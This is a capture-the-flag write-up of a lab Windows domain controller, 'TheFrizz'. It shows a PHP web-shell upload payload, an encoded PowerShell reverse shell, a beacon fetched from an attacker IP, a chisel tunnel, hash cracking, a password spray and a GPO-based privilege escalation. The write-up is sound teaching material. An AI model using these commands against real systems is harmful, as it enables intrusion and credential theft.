Machine Card showing TheFrizz as a medium Windows machine

Reconnaissance

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-17 19:20:09Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
59086/tcp open  msrpc         Microsoft Windows RPC
59090/tcp open  msrpc         Microsoft Windows RPC
59100/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-17T19:21:06
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m59s

Based on the nmap scan the target is the Domain Controller FRIZZDC for the frizz.htb domain. I’ll add the domain as well as the hostname and its FQDN to my /etc/hosts file.

Execution

Web page for the Walkerville Elementary School

The web page at http://frizzdc.frizz.htb/home/ is for the Walkerville Elementary School and within the HTML source code I quickly find references to Gibbon-LMS. Checking out the loaded Javascript and CSS files it’s very likely that the version in use is 25.0.00.1611200873.

A quick online search for known exploits finds CVE-2023-0025, a file upload vulnerability to upload arbitrary files. It comes with a proof-of-concept.

Making a POST request to /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php with the payload from the PoC returns a status code 200 indicating success and I can access the simple shell in /Gibbon-LMS/asdf.php.

img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=asdf.php&gibbonPersonID=0000000001

First I try the command whoami and it returns frizz\w.webservice, followed by another call to get a reverse shell.

$ curl "http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php?cmd=whoami"
frizz\w.webservice
frizz\w.webservice
 
$ curl "http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php?cmd=powershell+-e+JABjAGwAa<REDACTED>"

Privilege Escalation

Shell as f.frizzle

Next I create a new sliver beacon and upload it to C:\windows\temp\r.exe. After executing the binary I get a callback on my team server and can interact with the target through the session.

C:\xampp\htdocs\Gibbon-LMS\config.php
<?php
/*
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker
 
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
 
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
 
You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/
 
/**
 * Sets the database connection information.
 * You can supply an optional $databasePort if your server requires one.
 */
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
 
/**
 * Sets a globally unique id, to allow multiple installs on a single server.
 */
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';
 
/**
 * Sets system-wide caching factor, used to balance performance and freshness.
 * Value represents number of page loads between cache refresh.
 * Must be positive integer. 1 means no caching.
 */
$caching = 10;

In order to connect to the locally running MySQL database, I’ll open SOCKS proxy through chisel. My local listener (chisel server --port 1337 --reverse) gets a callback and the proxy is now listening on port 1080.

sliver (thefrizz) > chisel client 10.10.10.10:1337 R:socks
 
[*] Successfully executed chisel
[*] Got output:
received argstring: client 10.10.10.10:1337 R:socks
os.Args = [chisel.exe client 10.10.10.10:1337 R:socks]
Task started successfully.

Through the newly established connection I access the database with proxychains and mysql. There’s only one user in the table gibbonperson and I query the password hash and the corresponding salt for f.frizzle.

$ proxychains -q mysql -u 'MrGibbonsDB' \
                       -p'MisterGibbs!Parrot!?1' \
                       -D gibbon \
                       -h 127.0.0.1 \
                       --skip-ssl \
                       --silent
 
MariaDB [gibbon]> select username,passwordStrong,passwordStrongSalt from gibbonperson;
username        passwordStrong  passwordStrongSalt
f.frizzle       067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03        /aACFhikmNopqrRTVz2489

The hashing algorithm used by Gibbon-LMS is SHA256 and uses the format $salt.$password1. According to the example_hashes this can be cracked with mode 1420 in hashcat. Cracking takes a few seconds and the credentials f.frizzle:Jenni_Luvs_Magic23 are recovered.

$ hashcat -m 1420 \
          '067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489' \
          /usr/share/wordlists/rockyou.txt
--- SNIP ---
06<REDACTED>89:Jenni_Luvs_Magic23

Having a look at the group memberships for the user f.frizzle I can spot the Remote Management Users group, meaning I can probably get an interactive shell on the target.

sliver (thefrizz) > execute -o cmd /c net user /domain f.frizzle
 
[*] Output:
User name                    f.frizzle
Full Name                    fiona frizzle
Comment                      Wizard in Training
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never
 
Password last set            10/29/2024 7:27:03 AM
Password expires             Never
Password changeable          10/29/2024 7:27:03 AM
Password required            Yes
User may change password     Yes
 
Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   5/17/2025 2:03:19 PM
 
Logon hours allowed          All
 
Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         
The command completed successfully.

Unfortunately WinRM is not available so I have to resort to SSH, but first I have to set up my krb5.conf with the correct values. A small Python script helps with that.

$ python3 configure_krb5.py frizz.htb frizzdc
[*] This script must be run as root
[sudo] password for ryuki:
[*] Configuration Data:
[libdefaults]
        default_realm = FRIZZ.HTB
 
[realms]
        FRIZZ.HTB = {
                kdc = frizzdc.frizz.htb
                admin_server = frizzdc.frizz.htb
        }
 
[domain_realm]
        frizz.htb = FRIZZ.HTB
        .frizz.htb = FRIZZ.HTB
 
 
[!] Above Configuration will overwrite /etc/krb5.conf, are you sure? [y/N] y
[+] /etc/krb5.conf has been configured

Then I can request a new TGT with getTGT from impacket while faking the time since the Domain Controller is 7 hours ahead. The ticket is saved in f.frizzle.ccache and I export this as environment variable KRB5CCNAME. This way SSH can use it to authenticate to the host. It drops me into a Powershell session where I download my sliver binary and execute it.

$ faketime -f +7h impacket-getTGT 'frizz.htb/f.frizzle':'Jenni_Luvs_Magic23'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in f.frizzle.ccache
 
$ export KRB5CCNAME=f.frizzle.ccache
 
$ faketime -f +7h ssh -K f.frizzle@FRIZZ.HTB@FRIZZDC.FRIZZ.HTB
PowerShell 7.4.5
 
PS C:\Users\f.frizzle> iwr http://10.10.10.10/thefrizz.exe -useba -outfile r.exe
PS C:\Users\f.frizzle> .\r.exe

Shell as m.schoolbus

Poking around on the system I find an interesting file in the trash bin. Through the C2 session I download the 7z archive to my host.

sliver (thefrizz) > nps ls C:\\$RECYCLE.BIN\\S-1-5-21-2386970044-1145388522-2932701813-1103 -force
 
[*] nps output:
Mode   LastWriteTime         Length   Name 
----   -------------         ------   ----
-a---- 10/29/2024 7:31:09 AM 148      $IE2XMEG.7z
-a---- 10/24/2024 9:16:29 PM 30416987 $RE2XMEG.7z
-a-hs- 10/29/2024 7:31:09 AM 129      desktop.ini
 
sliver (thefrizz) > download C:\\$RECYCLE.BIN\\S-1-5-21-2386970044-1145388522-2932701813-1103\\$RE2XMEG.7z RE2XMEG.7z
 
[*] Wrote 30416987 bytes (1 file successfully, 0 files unsuccessfully) to RE2XMEG.7z

Extracting the archive and grepping for the string password returns quite a few hits but limiting the search on the conf folder spits out an interesting line in waptserver.ini. The password is encoded in base64 and decoding it returns !suBcig@MehTed!R.

wapt/conf/waptserver.ini
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt
 
[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log

Since the configuration does not specify any account I decide to spray the password against all users and only one hit for m.schoolbus comes back. That account is also part of the Remote Management Users group and therefore I can get a shell via SSH and run my sliver payload.

sliver (thefrizz) > c2tc-spray-ad '!suBcig@MehTed!R' * kerberos
 
[*] Successfully executed c2tc-spray-ad (coff-loader)
[*] Got output:
[+] Password correct for useraccount: M.SchoolBus
--------------------------------------------------------------------
[+] Password correct for useraccount(s):
    M.SchoolBus
--------------------------------------------------------------------
Program execution time: 0.33 seconds
 
Domain tested: frizz.htb
Applied LDAP filter: (&(objectClass=user)(objectCategory=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(sAMAccountName=*))
Password tested: !suBcig@MehTed!R
 
Total AD accounts tested: 19
Failed Kerberos authentications: 18
Successful Kerberos authentications: 1

Shell as Administrator

Through bloodhound-python-ce I collect the necessary information for BloodHound.

$ faketime -f +7h bloodhound-ce-python -k \
                                       -d frizz.htb \
                                       -dc frizzdc.frizz.htb \
                                       -u f.frizzle \
                                       -p Jenni_Luvs_Magic23 \
                                       -c ALL \
                                       --zip \
                                       --dns-tcp \
                                       -ns 10.129.128.240

Inspecting interesting edges in BloodHound finds a way from m.schoolbus to the domain object. The account can link a GPO to the Domain Controllers organizational unit.

BloodHound showing the connection between m.schoolbus and the domain

To abuse this edge I first create a new Group Policy Object called ryuki that I link to the OU containing the Domain Controller. Then I use SharpGPOAbuse to add m.schoolbus to the local admin group. Last but not least I update the policies on the target host.

sliver (thefrizz) > execute -o powershell -c 'New-GPO -Name ryuki | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes'

[*] Output:


GpoId       : 164bd8d4-c838-4c85-a12b-25dc9d0dfde1
DisplayName : ryuki
Enabled     : True
Enforced    : False
Target      : OU=Domain Controllers,DC=frizz,DC=htb
Order       : 2

sliver (thefrizz) > execute-assembly -- SharpGPOAbuse.exe --AddLocalAdmin --UserAccount m.schoolbus --GPOName ryuki

[*] Output:
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of m.schoolbus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "ryuki" is: {058E4585-AEF2-465B-9D61-9B03F9E56F22}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{058E4585-AEF2-465B-9D61-9B03F9E56F22}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!

sliver (thefrizz) > execute -o cmd /c gpupdate /force

[*] Output:
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

After the new GPO is in effect I spawn a new sliver session through RunasCs and while interacting with it I can see that the new group membership is applied. This way I can collect the final flag.

sliver (thefrizz) > execute-assembly /home/ryuki/tools/runascs/RunasCs.exe m.schoolbus '!suBcig@MehTed!R' "C:\\tools\\r.exe" -t 0
 
[*] Session 746e96bc thefrizz - 10.129.128.240:59477 (frizzdc) - windows/amd64 - Sat, 17 May 2025 17:40:27 CEST
 
[*] Output:
 
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-291d7f$\Default
[+] Async process 'C:\tools\r.exe' with pid 3216 created in background.
 
sliver (thefrizz) > use 746e96bc
 
sliver (thefrizz) > sa-whoami
 
[*] Successfully executed sa-whoami (coff-loader)
[*] Got output:
 
UserName                SID
====================== ====================================
frizz\M.SchoolBus       S-1-5-21-2386970044-1145388522-2932701813-1106
 
 
GROUP INFORMATION                                 Type                     SID                                          Attributes
================================================= ===================== ============================================= ==================================================
frizz\Domain Users                                Group                    S-1-5-21-2386970044-1145388522-2932701813-513 Mandatory group, Enabled by default, Enabled group,
Everyone                                          Well-known group         S-1-1-0                                       Mandatory group, Enabled by default, Enabled group,
BUILTIN\Remote Management Users                   Alias                    S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group,
BUILTIN\Administrators                            Alias                    S-1-5-32-544                                  Mandatory group, Enabled by default, Enabled group, Group owner,

Attack Path

flowchart TD

subgraph "Execution"
	A(Gibbon-LMS on port 80) -->|CVE-2023-0025| B(Shell as webservice)
end

subgraph "Privilege Escalation"
	B -->|Access MySQL database| C(Hash for f.fizzle)
	C -->|Crack Hash| D(Shell as f.fizzle)
	D -->|Archive in RecycleBin| E(Password in config)
	E -->|Password Spray| F(Shell as m.schoolbus)
	F -->|Allows to Link GPO to DC| G(Membership in Administrators)
	G --> H(Shell as Administrator)
end

Footnotes

  1. publicRegistrationProcess.php